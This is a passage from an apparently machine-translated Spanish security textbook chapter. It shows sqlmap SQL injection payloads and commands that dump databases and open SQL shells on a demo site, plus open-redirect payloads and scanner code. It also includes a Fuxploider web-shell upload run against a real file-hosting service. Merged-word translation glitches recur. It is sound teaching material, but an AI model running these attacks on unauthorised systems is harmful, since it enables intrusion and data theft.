Al ejecutar el comando anterior, podemos ver
la catvulnerabilidad del parámetro. Esta es una salida parcial
del comando:
GET parameter 'cat' is vulnerable. Do you want to keep testing
the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of
49 HTTP(s) requests:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 8568=8568
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING,
ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x7170627a71,
(SELECT (ELT(6133=6133,1))),0x717a6b6271),6133)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 8807 FROM
(SELECT(SLEEP(5)))UYui)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x
7170627a71,0x765a764e424174684577707053714d547a7468
63767575457942486a6d7a7a4a7a
777a7869644b63,0x717a6b6271),NULL--
Tras escanear la URL, el siguiente paso es listar información
sobre las bases de datos existentes. Podríamos realizar un
ataque básico a una URL que muestre las bases de datos
existentes. En esta prueba, utilizaremos una GETsolicitud HTTP
estándar contra una URL con un parámetro. (?id=X).Esto
probará diferentes métodos de inyección SQL contra
dicho idparámetro. Para esta tarea, podríamos usar la --
dbsopción:
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?
cat=1" --dbs
PorAl ejecutar el comando anterior, podemos recuperar
información sobre las bases de
datos acuarty information_schema. Esta es una salida parcial
del comando anterior:
[20:39:20] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0
[20:39:20] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
Una vez que la herramienta ha identificado la base de datos,
puede preguntar al usuario si desea probar otros tipos de bases
de datos o si desea probar otros parámetros en el sitio web
para detectar vulnerabilidades.
sqlmap también podría usarse para explotar la inyección SQL,
extrayendo información de bases de datos. Como verá en el
resultado a continuación, podemos continuar las pruebas
contra el objetivo sin tener que volver a probar la
vulnerabilidad. sqlmap utiliza la información que conoce sobre
el sitio para explotar aún más la base de datos objetivo. Para
recuperar los datos, simplemente añadimos un parámetro al
comando anterior. Al añadir --tables, podemos intentar
recuperar todas las tablas de la base de datos que nos
interesa.
El siguiente paso podría ser usar el -Dparámetro junto con el
nombre de la base de datos para listar información sobre las
tablas presentes en una base de datos específica. En el
siguiente ejemplo, usamos la --tablesopción para acceder a
la information_schemabase de datos:
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?
cat=1" -D information_schema –tables
Al ejecutar el comando anterior, podemos recuperar la
información sobre las tablas disponibles en
la information_schemabase de datos. Esta es una salida parcial
del comando:
[22:34:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.6
[22:34:44] [INFO] fetching tables for database:
'information_schema'
Database: information_schema
[79 tables]
+---------------------------------------+
| ADMINISTRABLE_ROLE_AUTHORIZATIONS |
| APPLICABLE_ROLES |
| CHARACTER_SETS |
| CHECK_CONSTRAINTS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
...
En elEn el ejemplo anterior, se recuperaron 79 tablas de
la information_schemabase de datos. Podríamos continuar
mostrando información sobre las columnas de una tabla
específica. Para ello, podríamos usar la -Topción junto con el
nombre de la tabla para ver las columnas de una tabla
específica. De igual manera, podemos obtener los nombres de
las columnas con la --columnsopción.
Con el siguiente comando, podemos obtener las columnas de
una tabla específica. En este caso, especificamos la tabla con
la -Topción , y con esta --columnsopción indicamos que se
muestren las columnas.
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?
cat=1" -D information_schema -T
ADMINISTRABLE_ROLE_AUTHORIZATIONS --columns
Al ejecutar el comando anterior, podemos recuperar
información sobre las columnas disponibles en
la administrable_role_authoritzationstabla. En este ejemplo, se
han recuperado 9 columnas. Este es un resultado parcial del
comando:
[23:06:09] [INFO] fetching columns for table
'ADMINISTRABLE_ROLE_AUTHORIZATIONS' in database
'information_schema'
Database: information_schema
Table: ADMINISTRABLE_ROLE_AUTHORIZATIONS
[9 columns]
+--------------+--------------+
| Column | Type |
+--------------+--------------+
| USER | varchar(97) |
| GRANTEE | varchar(97) |
| GRANTEE_HOST | varchar(256) |
| HOST | varchar(256) |
| IS_DEFAULT | varchar(3) |
| IS_GRANTABLE | varchar(3) |
| IS_MANDATORY | varchar(3) |
| ROLE_HOST | varchar(256) |
| ROLE_NAME | varchar(255) |
De manera similar, podemos acceder a toda la información de
una tabla específica utilizando el siguiente comando, donde
la --dumpconsulta recupera todos los datos de la productstabla
en la acuartbase de datos:
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?
cat=1" -D acuart -T products --dump
PorAl ejecutar el comando anterior, podemos recuperar
información sobre los registros disponibles en la productstabla.
En este ejemplo, se han recuperado tres registros. Esta es una
salida parcial del comando anterior:
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.6
[23:14:35] [INFO] fetching columns for table 'products' in
database 'acuart'
[23:14:35] [INFO] fetching entries for table 'products' in
database 'acuart'
Database: acuart
Table: products
[3 entries]
+----+---------------------------------------------------+-------
+--------------------------------------------+--------------------------------+
| id | name | price | description
| rewritename |
+----+---------------------------------------------------+-------
+--------------------------------------------+--------------------------------+
| 1 | Network Storage D-Link DNS-313 enclosure 1 x SATA | 359
| NET STORAGE ENCLOSURE SATA DNS-313 D-LINK | network-
attached-storage-dlink |
| 2 | Web Camera A4Tech PK-335E | 10 | Web
Camera A4Tech PK-335E | web-camera-a4tech
|
| 3 | Laser Color Printer HP LaserJet M551dn, A4 | 812 |
Laser Color Printer HP LaserJet M551dn, A4 | color-printer
|
+----+---------------------------------------------------+-------
+--------------------------------------------+--------------------------------+
PorAl ejecutar el siguiente comando, podemos recuperar la
información de todas las tablas de la base de datos actual. Para
ello, podemos usar indicadores como ``` --tablesy --columns``
para obtener todos los nombres de tablas y columnas:
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?
cat=1" --tables --columns
Ejecutando el siguiente comando podemos obtener un shell
interactivo para interactuar con la base de datos con el
lenguaje de consulta SQL:
$ sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?
cat=1' --sql-shell
El -sql-queryparámetro ejecutará el comando o la consulta que
indiquemos. En el ejemplo, al usar `<nombre de SELECTla
consulta>`, devolverá el resultado de la consulta. Si se tratara
de otro comando, como UPDATE`<nombre de la
consulta DELETE>`, solo ejecutaría la consulta y devolvería el
número de filas afectadas. De esta forma, tenemos control en
tiempo real de los datos de la base de datos.
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?
cat=1" -sql-query "SELECT * from acuart.products"
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[23:39:48] [INFO] fetching SQL SELECT statement query
output: 'SELECT * from acuart.products'
[23:39:48] [INFO] you did not provide the fields in your query.
sqlmap will retrieve the column names itself
[23:39:48] [INFO] fetching columns for table 'products' in
database 'acuart'
[23:39:48] [INFO] the query with expanded column name(s) is:
SELECT description, id, name, price, rewritename FROM
acuart.products
SELECT * from acuart.products [3]:
[*] NET STORAGE ENCLOSURE SATA DNS-313 D-LINK, 1,
Network Storage D-Link DNS-313 enclosure 1 x SATA, 359,
network-attached-storage-dlink
[*] Web Camera A4Tech PK-335E, 2, Web Camera A4Tech PK-
335E, 10, web-camera-a4tech
[*] Laser Color Printer HP LaserJet M551dn, A4, 3, Laser Color
Printer HP LaserJet M551dn, A4, 812, color-printer
A medida queComo se ha visto, esta herramienta ofrece
múltiples combinaciones y posibilidades que permiten explotar
esta vulnerabilidad en el objetivo analizado. sqlmap es una de
las herramientas más conocidas, escrita en Python, para
detectar vulnerabilidades relacionadas con la inyección SQL en
aplicaciones web. Para ello, la herramienta puede realizar
múltiples solicitudes en un sitio web utilizando parámetros
vulnerables en una URL, GETo POSTsolicitudes debido a que los
parámetros no se validan correctamente.
Continuaremos analizando otra herramienta de código abierto
que podríamos utilizar para detectar este tipo de
vulnerabilidad.
Escaneo de vulnerabilidades de inyección SQL con
sqlifinder
sqlifinder ( https://github.com/americo/sqlifinder ) es
unherramienta con la funciónde detectarVulnerabilidades de
inyección SQL basada en GET ( SQLI ) en aplicaciones web
que utilizan waybackurls, rastreadores web y cargas útiles de
inyección SQL. Puede instalarlo con los siguientes comandos:
$ sudo apt install git
$ git clone https://github.com/americo/sqlifinder
$ cd sqlifinder
$ pip install -r requirements.txt
Con el siguiente comando podremos ver las opciones que nos
ofrece la herramienta:
$ python sqlifinder.py -h
usage: sqlifinder.py [-h] -d DOMAIN [-s SUBS]
xssfinder - a xss scanner tool
optional arguments:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain name of the target [ex. example.com]
-s SUBS, --subs SUBS Set false or true [ex: --subs False]
Para ejecutar la herramienta en un objetivo, simplemente use
el siguiente comando:
$ python sqlifinder.py -d <target>
[INF] Scanning sql injection for http://testphp.vulnweb.com
[sql-injection] http://testphp.vulnweb.com/listproducts.php?
cat='
[sql-injection] http://testphp.vulnweb.com/listproducts.php?
artist=123&asdf='
[sql-injection]
http://testphp.vulnweb.com/categories.php/listproducts.php?
cat='
[sql-injection]
http://testphp.vulnweb.com/redir.php?r=https://youtube.com/w
atch?v='
[sql-injection] http://testphp.vulnweb.com/listproducts.php?
cat=123&zfdfasdf='
[sql-injection] http://testphp.vulnweb.com:80/artists.php?
artist='
[sql-injection] http://testphp.vulnweb.com/listproducts.php?
artist='
[sql-injection] http://testphp.vulnweb.com:80/bxss/vuln.php?
id='
[sql-injection] http://testphp.vulnweb.com:80/product.php?
pic='
[sql-injection] http://testphp.vulnweb.com:80/admin/?C=M;O='
En lo anteriorEn la salida, vemos las diferentes URL y
parámetros del sitio web vulnerables. Tras analizar las
principales herramientas para detectar vulnerabilidades de
SQL, como sqlmap y sqlifinder, revisaremos cómo detectarlas
con el escáner de puertos de Nmap.
Escaneo de vulnerabilidades de inyección SQL con el
escáner de puertos Nmap
UnUna funcionalidad interesante que incorpora Nmap
esEl motor de scripts de Nmap , que ofrece la opción de
ejecutar scripts desarrollados para tareas específicas, como
ladetección de versiones de servicio y detección de
vulnerabilidades.
Nmap proporciona un http-sql-injectionscript que detecta la
inyección SQL en aplicaciones web. Puede encontrar la
documentación de este script en la página de scripts de
Nmap: https://nmap.org/nsedoc/scripts/http-sql-
injection.html .
Figura 10.7: Script de inyección http-sql de Nmap
Nosotrospuedes ver el guiónCódigo fuente en
el svn.nmaprepositorio: https://svn.nmap.org/nmap/scripts/
http-sql-injection.nse . En Linux, por defecto, los scripts de
Nmap se encuentran en la /usr/share/nmap/scripts/ruta. Puede
ejecutar el siguiente comando para probar el http-sql-
injectionscript de Nmap:
$ nmap -sV --script=http-sql-injection <ip_address_domain>
Solo necesitamos agregar la dirección IP o el dominio de
nuestro sitio objetivo. Si el objetivo que analizamos es
vulnerable, veremos el siguiente resultado:
80/tcp open http nginx 1.4.1
|_http-server-header: nginx/1.4.1
| http-sql-injection:
| Possible sqli for queries:
| http://testphp.vulnweb.com/search.php?test=query
%27%20OR%20sqlspider
| http://testphp.vulnweb.com/search.php?test=query
%27%20OR%20sqlspider
| http://testphp.vulnweb.com/AJAX/../showimage.php?file=
%27%20OR%20sqlspider
| http://testphp.vulnweb.com/search.php?test=query
%27%20OR%20sqlspider
En elSalida del nmapcomando, podemos ver como como
resultado de ejecutar el http-sql-injectionscript, este
detectauna posible inyección SQL para consultas específicas
relacionadas con el dominio que estamos analizando.
En esta sección, hemos revisado las principales herramientas
para detectar vulnerabilidades de inyección SQL,
como sqlmapel nmap http-sql-injectionscript. Estas
herramientas permiten, de forma sencilla, automatizar el
proceso de detección de este tipo de vulnerabilidad en los
parámetros utilizados en nuestro sitio web, que pueden ser
fácilmente explotados por un atacante.
Continuaremos analizando el proceso de detección de
vulnerabilidades en aplicaciones web, como redirecciones
abiertas y problemas de seguridad en la carga de archivos.
Automatizar el proceso de detección de vulnerabilidades en
aplicaciones web
En esta sección, nosotrosAnalizaremos otras vulnerabilidades,
como redirecciones abiertas y problemas de seguridad en la
carga de archivos, y herramientas que se pueden encontrar
dentro del ecosistema Python relacionadas con tareas de
pentesting.
Detección de una vulnerabilidad de redirección abierta
La redirección abierta es unavulnerabilidadque permite a un
atacante remoto redirigir a las víctimas a una URL arbitraria. La
vulnerabilidad existe debido a la desinfección inadecuada
de...Datos proporcionados por el
usuario lib/http/server.pydebido a la falta de protección contra
múltiples barras diagonales al inicio de una ruta URI. Un
atacante remoto puede crear un enlace que lleve a un sitio web
confiable, pero al hacer clic, redirige a la víctima a un dominio
arbitrario.
La explotación exitosa de esta vulnerabilidad puede permitir a
un atacante remoto realizar un ataque de phishing y robar
información potencialmente confidencial.
Oralyzer ( https://github.com/r0075h3ll/Oralyzer ) es un
script de Python que busca vulnerabilidades de redirección
abierta en un sitio web mediante técnicas de fuzzing. Podemos
instalar esta herramienta con los siguientes comandos:
$ git clone https://github.com/r0075h3ll/Oralyzer.git $ pip
install -r requirements.txt
Con elsiguientecomando, podemos ver las opciones que nos
ofrece la herramienta:
$ python oralyzer.py -h
Oralyzer
usage: oralyzer.py [-h] [-u URL] [-l PATH] [-crlf] [-p PAYLOAD] [--
proxy] [--wayback]
optional arguments:
-h, --help show this help message and exit
-u URL scan single target
-l PATH scan multiple targets from a file
-crlf scan for CRLF Injection
-p PAYLOAD use payloads from a file
--proxy use proxy
--wayback fetch URLs from archive.org
Lo que hace esta herramienta es probar diferentes cargas útiles
con la URL del sitio web que estamos probando.
http://www.google.com
http%3A%2F%2Fwww.google.com
https%3A%2F%2Fwww.google.com
//www.google.com
https:www.google.com
google.com
/\/\google.com
Al ejecutar la herramienta anterior, podemos ver como está
detectando una vulnerabilidad de redirección abierta del
tipo redirección basada en encabezado en
el python.orgdominio.
$ python oralyzer.py -u https://python.org
[!] Appending payloads just after the URL
[!] Infusing payloads
[+] Header Based Redirection :
https://python.org/http://www.google.com ->
https://www.python.org/http://www.google.com
[+] Header Based Redirection : https://python.org/http%3A%2F
%2Fwww.google.com -> https://www.python.org/http%3A%2F
%2Fwww.google.com
[+] Header Based Redirection : https://python.org/https%3A
%2F%2Fwww.google.com -> https://www.python.org/https%3A
%2F%2Fwww.google.com
[+] Header Based Redirection :
https://python.org///www.google.com ->
https://www.python.org///www.google.com
PodemosTambién me interesaráDesarrollamos nuestra propia
herramienta para detectar dicha vulnerabilidad. En el siguiente
ejemplo, que incluye un requestsmódulo y utiliza diferentes
cargas útiles, podríamos comprobar el código de estado de la
respuesta para determinar si el sitio web es vulnerable. El
siguiente código se encuentra en
el test_open_redirect.pyarchivo de la open_redirectcarpeta:
import requests
import random
import sys
target = input("Enter target URL: ")
payloads = 'payloads.txt'
user_agent = ['Mozilla/5.0 (Windows NT 10.0; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87
Safari/537.36 OPR/43.0.2442.991',
'Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; A1-810
Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko)
Version/4.0 Safari/534.30',
'Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101
Firefox/52.0',
'Mozilla/5.0 (PLAYSTATION 3 4.81) AppleWebKit/531.22.8
(KHTML, like Gecko)',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
OPR/48.0.2685.52',
'Mozilla/5.0 (SMART-TV; X11; Linux armv7l) AppleWebKit/537.42
(KHTML, like Gecko) Chromium/25.0.1349.2
Chrome/25.0.1349.2 Safari/537.42',
'Mozilla/5.0 (Windows NT 6.0; WOW64; Trident/7.0; rv:11.0) like
Gecko',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5)
AppleWebKit/601.2.7 (KHTML, like Gecko)',
'Mozilla/5.0 (PlayStation 4 5.01) AppleWebKit/601.2 (KHTML,
like Gecko)']
header = {'User-Agent': random.choice(user_agent)}
En el código anterior, importamos los módulos que usaremos y
declaramos una lista de agentes de usuario que podemos usar
para realizar las solicitudes. A continuación, declaramos la
función que analizará la URL y comprobará, para cada carga
útil, el código de estado devuelto por la respuesta.
def test_open_redirect():
print('Loading Payloads: ' + payloads)
f = open(payloads,'r')
for line in f.readlines():
payload = line.strip('\n')
try:
final = target+"/"+payload
print(final)
response = requests.get(final,headers=header)
for resp in response.history:
print(resp.status_code)
if resp.status_code == 302 or resp.status_code ==
301:
print(resp.status_code, resp.url + " [!] Vulnerable
to Open Redirect")
else:
print(resp.url + '[-]Not Vulnerable')
except Exception as e:
print ("Invalid URL:"+str(e))
sys.exit()
except IOError:
print(IOError)
test_open_redirect()
Porejecutando elEn el script anterior, podemos observar que si
el código de respuesta es 301o 302, estamos ante un caso de
vulnerabilidad de tipo redireccionamiento abierto.
$ python test_open_redirect.py
Enter target URL: http://www.python.org
Loading Payloads: payloads.txt
http://www.python.org/http://www.google.com
301
301 http://www.python.org/http://www.google.com [!]
Vulnerable to Open Redirect
http://www.python.org/http%3A%2F%2Fwww.google.com
301
301 http://www.python.org/http%3A%2F%2Fwww.google.com
[!] Vulnerable to Open Redirect
http://www.python.org/https%3A%2F%2Fwww.google.com
Una vulnerabilidad de redirección abierta ocurre cuando una
aplicación permite a un usuario controlar una redirección o
redirigir a otra URL. Si la aplicación no valida la entrada de un
usuario no confiable, un atacante podría...suministrar unURL
que redirige a una víctima desprevenida desde un dominio
legítimo al sitio de phishing de un atacante.
Detectando vulnerabilidades con Fuxploider
Fuxploider ( https://github.com/almandin/fuxploider )
esuna penetración de código abiertoherramienta de pruebas
que automatiza el proceso de detección y explotación de fallas
en los formularios de carga de archivos.
EsteLa herramienta tiene la capacidad de detectar los tipos de
archivos que se pueden cargar y es capaz de detectar qué
técnica funcionará mejor para cargar shells web o cualquier
archivo malicioso en el servidor web deseado.
Esta herramienta contieneUn escáner para buscar
vulnerabilidades y otro módulo para explotarlas. En el
repositorio de GitHub, hay una guía de instalación y un ejemplo
de uso. Puedes instalar esta herramienta con los siguientes
comandos:
$ git clone https://github.com/almandin/fuxploider.git
$ cd fuxploider
$ pip install -r requirements.txt
Para obtener una lista de opciones y conmutadores básicos,
puede utilizar el siguiente comando:
$ python fuxploider.py -h
Ahora veamos un ejemplo en vivo usando el anonfilesservicio:
$ python fuxploider.py --url https://anonfiles.com --not-regex
"Thi file Type is Not Supported"
Con el comando anterior, tomamos la URL de un servicio de
carga de archivos llamado https://anonfiles.com y pasamos
como parámetro el mensaje de error que muestra al cargar un
tipo de archivo no permitido.
Resumen
El análisis de vulnerabilidades en aplicaciones web es
actualmente el mejor campo para realizar auditorías de
seguridad. Uno de los objetivos de este capítulo fue conocer las
herramientas del ecosistema Python que permiten identificar
vulnerabilidades de servidor en aplicaciones web como
SQLMap. Las principales vulnerabilidades analizadas fueron
XSS e inyección SQL. En la sección sobre inyección SQL,
abordamos varias herramientas para detectar este tipo de
vulnerabilidad, incluyendo scripts de SQLMap y NMap.
Finalmente, repasamos cómo detectar vulnerabilidades en
aplicaciones web con herramientas como Oralyzer y Fuxploider.
En este capítulo, aprendimos sobre las principales
vulnerabilidades que podemos encontrar en un sitio web y
cómo, con la ayuda de herramientas automáticas y scripts de
Python, podemos detectar algunas de ellas. Además,
aprendiste a detectar errores de configuración en un servidor
que pueden afectar la seguridad del sitio y ser explotados por
un atacante.
En el próximo capítulo, revisaremos cómo obtener información
sobre vulnerabilidades de las bases de datos CVE, NVD y
Vulners.
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Qué tipo de vulnerabilidad es un ataque que inyecta
scripts maliciosos en páginas web para redirigir a los
usuarios a sitios web falsos o para recopilar información
personal?
2. ¿Cuál es la técnica mediante la cual un atacante inserta
comandos de base de datos SQL en un campo de entrada
de datos del formulario de pedido utilizado por una
aplicación basada en web?
3. ¿Qué opción de sqlmap permite obtener un shell
interactivo para interactuar con la base de datos?
4. ¿Cuál es el nombre del script de Nmap que permite
escanear en busca de inyección SQL en una aplicación
web?
5. ¿Qué técnicas utilizan las herramientas Oralyzer y
Fuxploider para detectar vulnerabilidades en aplicaciones
web?
Lectura adicional
Puede utilizar los siguientes enlaces para obtener más
información sobre las herramientas mencionadas y otras
herramientas asociadas con la detección de vulnerabilidades:
Hoja de trucos sobre inyección
SQL : https://www.invicti.com/blog/web-security/sql-
injection-cheat-sheet
Prevención de inyecciones SQL en
Python : https://blog.sqreen.com/preventing-sql-
injections-in-python
Una herramienta sencilla para encontrar una
vulnerabilidad de inyección SQL usando Google
dorks : https://github.com/j1t3sh/SQL-Injection-
Finder
Una herramienta multiplataforma avanzada que
automatiza el proceso de detección y explotación
de fallas de seguridad de inyección
SQL : https://github.com/r0oth3x49/ghauri
Una potente herramienta de sensores para
descubrir paneles de inicio de sesión y escaneo
SQLi mediante formularios
POST : https://github.com/Mr-Robert0/Logsensor
Herramienta de detección de contrabando de
solicitudes
HTTP : https://github.com/anshumanpattnaik/http-
request-smuggling
Herramienta de descubrimiento y explotación de
inclusión de archivos
locales : https://github.com/hansmach1ne/lfimap
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
11
Obtener información de bases de datos de vulnerabilidades
Python es un lenguaje que nos permite escalar desde proyectos
de inicio hasta aplicaciones complejas de procesamiento de
datos.Y admite páginas web dinámicas de forma sencilla. Sin
embargo, a medida que aumenta la complejidad de sus
aplicaciones, la introducción de posibles vulnerabilidades
puede ser crítica para su seguridad.
Este capítulo cubreCómo obtener información sobre
vulnerabilidades de las Vulnerabilidades y Exposiciones
Comunes ( CVE ), la Base de Datos Nacional de
Vulnerabilidades ( NVD ) y la base de datos de
vulnerabilidades. Analizaremos los principales formatos de
vulnerabilidad.y el proceso de búsqueda de una vulnerabilidad
CVE en las bases de datos NVD y de vulnerabilidades.
Finalmente, aprenderemos a buscar vulnerabilidades con
herramientas como Pompem.
En este capítulo se tratarán los siguientes temas:
Identificación de información sobre vulnerabilidades en la
base de datos CVE
Buscando vulnerabilidades en el NVD
Búsqueda de vulnerabilidades en la base de datos Vulners
Búsqueda de vulnerabilidades con otras herramientas
como Pompem
Requisitos técnicos
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Necesitará instalar la distribución de Python en su máquina
local y tener algunos conocimientos básicos sobre prácticas de
codificación segura.
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter11 .
Identificar y comprender vulnerabilidades y exploits
En esta sección, cubriremos la comprensión de
vulnerabilidades y exploits, y revisaremos cómo identificar
información sobre vulnerabilidades en la base de datos CVE.
Una vulnerabilidad es una falla en el código de nuestra
aplicación o en la configuración que genera que un atacante
puedeexplotar para cambiar el comportamiento de la
aplicación, como inyectar código o acceder a datos privados.
Una vulnerabilidad también puede ser una debilidad en la
seguridad de un sistema que puede explotarse para acceder a
él. Estas vulnerabilidades pueden explotarse de dos maneras:
remota y localmente.
Un ataque remoto es un ataque que se lleva a cabo desde un
ordenador distinto al de la víctima, mientras que un ataque
local, como elComo su nombre lo indica, se lleva a cabo
localmente en la casa de la víctima.Computadora. Estos
ataques se basan en una serie de técnicas diseñadas para
obtener acceso y elevar privilegios en esa máquina.
Uno de los principales problemas que tenemos con los
escáneres automáticos es que no pueden detectar todos los
tipos de vulnerabilidades y pueden generar falsos positivos,
que deben investigarse y analizarse manualmente. La no
detección de algunas vulnerabilidades y la clasificación
incorrecta de una vulnerabilidad como de baja prioridad
podrían ser perjudiciales para el sistema, ya que podríamos
encontrar fácilmente dicha vulnerabilidad o exploit en la base
de datos pública de exploits en https://www.exploit-
db.com .
Figura 11.1: Base de datos de exploits
Ahora, vamos a revisar el concepto de exploit y entraremos en
detalle con un exploit específico que podemos encontrar en la
base de datos de exploits.
¿Qué es un exploit?
Los exploits son softwareo scripts que explotan un error, fallo o
debilidad para causar un comportamiento indeseable en un
sistema o aplicación, lo que permite a un usuario malicioso
forzar cambios en el flujo de ejecución, permitiéndole al
atacante controlarlo. En la siguiente captura de pantalla,
podemos ver los detalles de una vulnerabilidad en la base de
datos de exploits.
Figura 11.2: Detalles del exploit
En la siguiente url, https://www.exploit-db.com/exploits/51030,
podemos encontrar los detalles de esta vulnerabilidad:
#Exploit Title: CVAT 2.0 - SSRF (Server Side Request Forgery)
#Exploit Author: Emir Polat
#Vendor Homepage: https://github.com/opencv/cvat
#Version: < 2.0.0
#Tested On: Version 1.7.0 - Ubuntu 20.04.4 LTS (GNU/Linux
5.4.0-122-generic x86_64)
#CVE: CVE-2022-31188
# Description:
#CVAT is an open source interactive video and image
annotation tool for computer vision. Versions prior to 2.0.0
were found to be vulnerable to a Server-Side Request Forgery
(SSRF) vulnerability.
#Validation has been added to the URLs used in the affected
code path in version 2.0.0. Users are advised to upgrade.
Una vulnerabilidad de día cero es unavulnerabilidad de
software descubierta por los atacantes antes de que el
proveedor se dé cuenta de ello.
Formatos de vulnerabilidad
Las vulnerabilidades son únicasidentificado por el formato CVE,
que fue creado por MITRE Corporation.
El código identificador tiene el formato CVE-año-número; por
ejemplo, CVE-2023-01identifica una vulnerabilidad descubierta
en el año 2023 con el identificador 01. Existen varias bases de
datos donde se puede encontrar información sobre las
diferentes vulnerabilidades existentes, entre las que
destacamos las siguientes:
CVE, querepresenta elEstándar para nombres de
vulnerabilidades de seguridad de la
información: https://cve.mitre.org/cve/
NVD: https://nvd.nist.gov
Generalmente, a las vulnerabilidades publicadas se les asignan
sus exploits correspondientes mediante una prueba de
concepto, desarrollada por investigadores de seguridad. Esto
permite a los administradores de seguridad de una
organización comprobar la presencia real de la vulnerabilidad y
medir su impacto dentro de la organización.
CVE proporciona una base de datos de vulnerabilidades, lo cual
es muy útil porque, además de analizar lasvulnerabilidad en
cuestión, ofrece numerosas referencias en las que a menudo
encontramos enlaces directos a exploits que atacan dicha
vulnerabilidad.
Por ejemplo, si buscamos opensslen CVE, nos ofrece las
siguientes vulnerabilidades encontradas en bibliotecas
específicas que utilizan este módulo de
seguridad: https://cve.mitre.org/cgi-bin/cvekey.cgi?
keyword=openssl :
Figura 11.3: Vulnerabilidades CVE relacionadas con openssl
En la siguiente URL, podemos ver los detalles de la primera
vulnerabilidad CVE encontrada en 2023:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-
2023-0001
Figura 11.4: Primera vulnerabilidad CVE encontrada en 2023
En los detalles del CVE, podemos ver una descripción de la
vulnerabilidad, incluyendo las versiones afectadas ysistemas
operativos, referencias para obtener información más
detallada, la fecha de creación y si ha sido asignado para ser
resuelto.
Otro servicio de búsqueda interesante
es https://cve.circl.lu/ . Este servicio permite obtener CVEs
descubiertos recientemente y buscar por proveedor. Este motor
de búsqueda permite obtener tanto la lista de CVEs registrados
como los detalles de cada CVEs, así como sus referencias y su
nivel de impacto.
Figura 11.5: Servicio de búsqueda CIRCL CVE
A continuación, podríamos utilizarPython para realizar una
búsqueda en los servicios CIRCL y GitHub. Puedes encontrar el
siguiente código en el repositorio de GitHub, en el
archivo search_cve_circl_github.py.
import urllib.request, json, sys, textwrap
import argparse
def cveSearch(cve):
with urllib.request.urlopen('http://cve.circl.lu/api/cve/'+cve)
as url:
data = json.loads(url.read().decode())
try:
if data['cvss']:
print("{} | CVSS {}".format(cve,data['cvss']))
if data['summary']:
print('+-- Summary '+'-'*68+"\n")
print('\n'.join(textwrap.wrap(data['summary'],80)))
if data['exploit-db']:
print('+-- ExploitDB '+'-'*66)
for d in data['exploit-db']:
print("| Title | {}".format(d['title']))
print("| URL | {}".format(d['source']))
print("+-------+"+"-"*71)
except (TypeError, KeyError) as e:
pass
El código anterior nos permite realizar una búsqueda en el
servicio CIRCL y obtener información sobre un CVE específico.
Por ejemplo, podemos encontrar exploits en la ExploitDBbase
de datos. Continuamos implementando una función que nos
permite usar el servicio GitHub para encontrar los repositorios
relacionados con un CVE:
def gitHubSearch(cve):
with
urllib.request.urlopen('https://api.github.com/search/repositorie
s?q='+cve) as url:
data = json.loads(url.read().decode())
try:
print('GitHub Repositories:')
for i in data['items']:
print("| Repository | {}".format(i['full_name']))
print("| Description | {}".format(i['description']))
print("| URL | {}".format(i['html_url']))
print("---------------------------------------------")
except (TypeError, KeyError) as e:
pass
La siguiente ejecuciónmuestra los resultados para el CVE-2022-
1012, donde podemos ver un resumen y repositorios de GitHub
relacionados con el CVE mencionado.
$ python search_cve_circl_github.py --cve CVE-2022-1012
+-- Summary --------------------------------------------------------------------
A memory leak problem was found in the TCP source port
generation algorithm in
net/ipv4/tcp.c due to the small table perturb size. This flaw may
allow an
attacker to information leak and may cause a denial of service
problem.
GitHub Repositories:
| Repository | nanopathi/Linux-4.19.72_CVE-2022-1012
| Description | None
| URL | https://github.com/nanopathi/Linux-4.19.72_CVE-2022-
1012
---------------------------------------------
Ahora vamos a revisar cómo buscar vulnerabilidades en el
NVD.
Buscando vulnerabilidades en el NVD
En esta sección, veremos cómo buscar y encontrar
vulnerabilidades en el NVD del NIST.
Presentamos el NVD del NIST
Si utilizamos el NIST NVD para obtenerinformación sobre un
identificador CVE específico, entoncesPodemos ver más
información, incluyendo la gravedad de la vulnerabilidad, un
